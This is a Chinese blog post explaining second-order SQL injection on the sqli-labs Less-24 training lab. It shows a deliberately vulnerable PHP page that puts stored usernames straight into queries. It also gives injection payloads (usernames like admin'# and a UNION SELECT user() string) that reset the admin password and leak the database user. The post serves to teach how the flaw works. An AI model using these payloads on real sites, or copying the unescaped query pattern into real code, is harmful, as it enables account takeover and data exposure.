二次注入的原理

二次注入的原理

二次注入原理,主要分为两步
第一步:插入恶意数据
第二步:引用恶意数据
第一步:输入参数1’,函数经过转义函数变成’,参数进入数据库存储还原为1’
第二步:将1’从数据库中取出 取出后直接给变量带入SQL ,SQL注入触发

二次注入的方法
对sqlilabs的Less-24做部分修改,使的实验效果更明显
第一步 修改users表中username字段的长度

ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;

第二步
添加userlist.php文件,显示所有用户的账号信息

<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for ($i=0; $i < $num; ++$i) { 
    $row = mysql_fetch_array($result);
    $username = $row[1];
    $sql_detail = "SELECT * FROM users where username='$username'";
    $result_detail=mysql_query($sql_detail);
    $num_detail = mysql_num_rows($result_detail);
    for ($j=0; $j < $num_detail; ++$j) { 
        $row_detail = mysql_fetch_array($result_detail);
        echo<<<END
        <table border="1" style="table-layout:fixed;" width="1000">
            <tr>
                <th>$row_detail[1]</th>
                <th>$row_detail[2]</th>
            </tr>
        </table>
END;
    }
}
?>

注册一个新用户,用户名为admin’#,密码为123
在这里插入图片描述
在这里插入图片描述
登录上了之后,重新设置,设置用户名为123,密码为123
在这里插入图片描述
admin的密码改变了
在这里插入图片描述
因为在pass_change.php中,

$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";

所以就达到了修改admin密码为自己想要的密码的目的
在使用时没有进行校验,以上是sqlilabs原始关卡的代码
注册一个用户,用户名:1’ union select 1,user(),3#
在这里插入图片描述
注册成功后,查看userlist.php
userlist.php中显示了root@localhost 3

$sql_detail = "SELECT * FROM users where username='1' union select 1,user(),3#'";
1, root@localhost,3

所以显示的时候就显示的是root@localhost 3

posted @ 2020-03-18 19:32  range1128  阅读(1418)  评论(0)    收藏  举报